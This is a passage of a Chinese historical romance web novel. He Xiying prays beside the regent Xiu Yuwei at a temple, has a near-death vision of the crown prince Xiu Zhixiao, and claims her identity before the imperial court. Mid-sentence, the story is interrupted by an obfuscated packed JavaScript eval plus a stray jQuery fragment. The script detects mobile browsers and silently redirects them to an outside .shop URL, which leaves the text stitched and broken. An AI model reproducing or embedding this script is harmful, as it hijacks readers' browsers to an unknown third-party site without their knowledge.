“什么,和合殿在接待贵人,不对外见客?”
醉梅询问着普门殿门口的小沙弥时,贺曦映正站在殿门口的桃树下。
点点粉色的花瓣落在她的乌黑的发顶,像是点缀着春光的发饰。她背着光看向殿内,好奇殿内是哪位怀春的贵女,挑了这雨后初晴的晴朗春日来求姻缘。
且今日恰好是普门殿开放的最后一日,明日起便会闭门修缮因为潮湿天气而剥落的金漆。
贺曦映黑黑亮亮的眼眸转向小沙弥:“劳烦小师傅代我问问殿内的小姐,能否允我入殿同求姻缘呢?”
小沙弥露出难为的神情。
殿里哪里有什么小姐,只有一位闭目沉思的摄政王。
小沙弥忐忑地走进殿内传话,却得到了意料之外的回答:
“让她进来。”
典义一时也猜不出摄政王殿下想的哪一出,只好踮起脚、伸长脖子悄悄观察着。
贺曦映踏着春光步入和合殿内,见中间摆放的万回,和合二仙分立两侧,分别手持荷花和圆盒。神前的供桌上摆放着龙凤和缠枝莲的香炉,整个殿内都飘散着袅袅香气。
一道屏风遮挡住一部分空间,想来是那位贵人小姐在屏风之后。
贺曦映慢步走到供桌前的蒲团处,正要跪下,却听见小沙弥道:
“施主,稍候。”
她掀开本已虔诚闭上的眼皮,问:“可是我逾越了什么步骤?”
“非也。是屏风后的贵人说,您先回答他一个问题,回答后您便自由参拜。”
“小师傅请问。”贺曦映转过身来,在蒲团上盘腿一坐。
“男子娶妻,娶张氏是娶,娶王氏也是娶,婚后统不过都是生儿育女、操持家事,又有何分别?”
这位贵女在担心自己在未来夫婿眼中毫无特别之处?
贺曦映无奈地摇摇头:“如果你有这样的疑问,便是你们二人都没遇到对的人。‘斯人若曦光,遇上方知有。’这是我父亲回忆母亲时常说的一句话,今日也赠与贵人。”
小沙弥喃喃着“斯人若曦光,遇上方知有”这句话,道了声“阿弥陀佛”,而后退下了。
贺曦映在蒲团前合上手掌默默许愿,跪伏而下。
她的眼睛悄悄睁开,打量着不远处的屏风下露出的缝隙。
一双绣着云纹绫的鞋子,鞋底上还隐约能瞧出沾过湿泥的痕迹。
原来不是什么小姐,是那位结喉上有一颗朱砂痣的男子。
贺曦映正要起身,那人却从屏风后走出来,跪在她一侧的蒲团上。
她忍不住揶揄了一句:“‘小姐’也来求姻缘?”
屏风后,典义听得心惊肉跳:还从未有人这样同摄政王搭话过!
休逾微淡淡地“嗯”了一声,闭着眼睛,没有多余的反应。
他面廓如琢,眉骨朗秀,气质清淡疏离,似是与这宁静的殿宇浑然一体。
休逾微没有睁眼,忽而开口:“看够了吗?”
贺曦映这才意识到自己出了神,连忙眨眨眼睛再次正对神像:“抱歉。”
她是对着神像表达歉意,而非对着他的。
“在和合殿中如此不专诚,姑娘的‘曦光’怕是要伤心了。”
“只要他不知道,那便不算。”
说罢,贺曦映认真地闭上眼睛,合十掌心。
小沙弥站在殿外,见二人并肩跪在神像前的一双背影恰好被一束曦光笼罩。
“这两位施主倒更像是……”他忽而顿住,摇摇头倒,“阿弥陀佛,不可多造口业。”
休逾微的愿望似乎极短,甚至压根儿没有许愿。
他先一步睁眼,看向身旁的贺曦映。
她头顶上还缀着两片飘落的粉色花瓣,神情严肃认真,嘴唇还轻微地动着,不知在念什么。
而贺曦映最先想到的愿望并不是祈求她和摄政王的姻缘。
一愿……愿休知骁安息自在,早入轮回。
——不知道在姻缘殿内为亡者许愿有没有用。
二愿,愿我能嫁给休……
第二个愿望还没许完,忽然发觉眼前一暗,贺曦映睁开眼睛。
竟然是殿内的长明灯被窗外的一阵风吹灭了!
第二个愿望她还未说完,不知道神祇有没有听清。
如今休姓之人,休知骁已死,皇帝又常年昏迷,倒是只剩下摄政王休逾微。只要神明听清了她的愿望,应当不会弄错人。
*
贺曦映才回到所居住的厢房时,笑杏正扛着新买来的一大卷被褥,大步流星地跑来。
“主子,不好了!”她一向欢快的神色难得紧张起来,“我上了街坊才知,三日前便传出摄政王有意纳翰林院掌院学士余启光的女儿余杳来为妃的消息,整个仰都都在传!”
贺曦映本就有些惴惴不安的内心这下彻底“啪嗒”一声碎裂开来。
“小姐,小姐,您先别急啊!”
她的意识像是从身体中解离出去了。
她能看见自己发着抖跌坐在地上,被笑杏揽在怀里。她这具因为生病而愈显憔悴的身体大口喘着粗气,语无伦次地念叨着“父亲”“祖父”“救救我”……
她听见醉梅急得直跺脚:“坏了坏了,这一步计划一旦出了差错,我们再无用处,大人可还会饶过我们!”
贺曦映看着惊慌发作的自己,直觉再不想回到这副令她痛苦的身体中去。
窗外的春日暖阳是那么好,她昨日还见过啁啾的小鸟,满园的花开绚烂,还有那位文质彬彬的公子……
她再不想眷恋过去,她像是悬浮在空中,大地和一切都在下沉,她就要逃离这令她痛苦的一切了。
忽然,一双手结结实实地拉住了她,阻止了她继续向高空浮去。
他眉头紧蹙,神情凌厉,身上不着寸缕。湿漉漉的水滴沿着他的锁骨和身上的线条滑动,也钻入二人交合的手掌,带来隐入意识深处的痒意。
是休知骁。他在下坠。
两个人一个在上浮,一个在坠落,交叠的手倒是让他们达成了一种微妙的平衡。
休知骁从下方定定地看着她,像是一道有实质性的光,把她里里外外都看了一遍,令她无所遁形。
她觉得两个人靠得更近了一些,他紧紧地攥着她的手。
贺曦映确认这是她的意识,而非她的身体。因为这双被挑断过手筋的手丝毫感觉不到疼,甚至有种被安稳接住的满足感。
休知骁的嘴唇一张一合,她听不见他在说什么,只能感到这份意识即将被远方的身体收束回去了。
“主子,您可算是醒了!”
贺曦映那张几乎被淹没在被褥里的小脸上重又浮现出血色。她虚弱地睁开眼睛,只有笑杏和醉梅一脸担忧地围坐在床前。
她右手上紧握着那半块玉珏。玉珏已经被醉梅用布料包裹住,断痕处不会再划伤她的手了。
笑杏松了口气:“主子握着这个战利品,果然就挺过来了!”
醉梅擦拭着她脸上发的汗:“方才吓死婢子了。大夫来了都说只能听天由命,我就道他胡诌。主子福大命大,怎么会呢。”
贺曦映神情依旧有些恍惚。
虽说休知骁阴魂不散地纠缠着她,但她无法想象,如果不是他拉着她,她的意识会不会真的就飘走,归于天地了?
这段濒死的经历过于光怪陆离,她也没打算跟其他人分享。
“师父,他怎么说?”
醉梅答道:“大人让您明日一早收拾好,他从宫里安排人来接您进去,在大殿门口候着。”
“知道了。”
意料之中,毫无关心之言。如果她没能挺过今晚,师父估计就草席一卷把她丢去荒郊了。
*
贺曦映带着晨起的困意,被一个老嬷嬷看着,候
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17818684|211094||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在殿外。
殿内正在上早朝,一群男人的声音乱哄哄的。
“太子殿下失去讯息已有月余,此事实在不能忽视。”
“方才郎家二公子也说了,他南下排查陆路水路,均为发现太子殿下踪迹,恐怕是……”
“太子殿下当年在棣康国为质五年都能平安回来,如今怎么可能在小小江南遇险?”
太子,太子,又是太子!
休知骁怎么如此阴魂不散呢!
贺曦映烦乱地想着,目光越过黑压压的乌纱帽,直至最前方那坚硬冰冷的龙椅。
棠锦国皇帝常年卧病,早朝时龙椅空置,其后有垂帘听政的温皇后,其前是权倾天下的摄政王。
贺曦映努力地抬起头想找到休逾微,却只能远远看见群臣最前方那最高大之刃突出的帽顶,甚至连他背影都瞧不清。
朝堂上,此时又议起了摄政王与余学士之女的婚事。
皇后娘娘身侧的内监奉违臻忽而开口:“摄政王殿下年少时同贺阁老家的孙女青梅竹马,可惜如今却同不相干的人成婚了。”
“你个阉人懂什么?贺阁老之孙多年来寻不到踪迹,摄政王殿下难道要为那生死不明的青梅枯等吗?”
身边的老嬷嬷给了她一个颜色,贺曦映立马意会,快步走入殿内,抬起自己的左手掌心,声音响彻朝堂:“臣女贺曦映,参加皇后娘娘、摄政王。臣女的祖父便是本朝大儒,贺宁央!”
众人都看到了她掌心的日形胎记。
她的母亲为她取小字“昧昧”,便是因为她掌心藏日,愿她怀光而不露,含曜而自守。
贺曦映喊完后,嗓子即刻哑了,重重地咳嗽着。
群臣显然未能料及这一变故,在怔然中选择静默。
唯有那皇后身旁的奉违臻含着笑看了眼贺曦映左手掌心的日形胎记:“奴才记得,先帝当年在贺阁老病逝后曾留下旨意,如若能寻回阁老之孙,务必以皇眷之礼相待。”
皇眷之礼,那首当其冲便是嫁予休氏皇族中人。
大臣们对视纷纷。
太子殿下休知骁生死未定,予贺曦映皇眷之礼的承诺,便只能交付给摄政王来完成了。
奉违臻笑得眯眯起来的眼睛看向摄政王休逾微:“恭喜摄政王殿下,当年的青梅失而复得。”
他的目光又扫向满脸红涨的翰林院掌院学士余启光,带着些许揶揄之意:“可惜了,余学士。您女儿的摄政王妃之位,恐怕要被截胡了。”
立在下方的老臣郎善常立刻反驳:“谁知道真正的贺氏手上有没有这个胎记?身为内监便尽心侍奉好皇后娘娘,在朝堂上插什么嘴?我看这女子擅闯朝堂,恐包藏祸心。”
他的话立刻得到了皇后的响应:“来人,先把她按住。”
侍卫的劲儿大的很,贺曦映一声吃痛,被死死按着,动弹不得。
她扬着下巴去看最前面长身玉立着的背影:“摄政王殿下,其他人认不出我,难道你还不识得我吗!”
贺曦映重又被按在地上,膝盖砸向地面时发出一声脆响。
今日算是背水一战,铤而走险。一旦失败,就算皇后对她从轻发落,师父也不会再给她活下去的机会。
“等等。”
一道熟悉的声音在混乱中响起,竟以其独特的音色与其他杂音分辨开,一下震慑住局面。
休逾微看向眼睛眯溜转着的郎善常:“郎大人又怎知,这位贺姑娘不是贺阁老之孙呢?”
他大步流星地走到贺曦映面前,抓住她带有胎记的左手,把她从地上扶起来:
“贺小姐,我记得你的胎记,你先起来。”
贺曦映张开眼,先是看见他结喉处的红痣,复又惊疑不定地看向休逾微的脸。
休逾微的眼睛睁得更大了些,但很快又危险地眯起来:
“‘斯人若曦光,遇上方知有。’竟然是你,贺曦映。”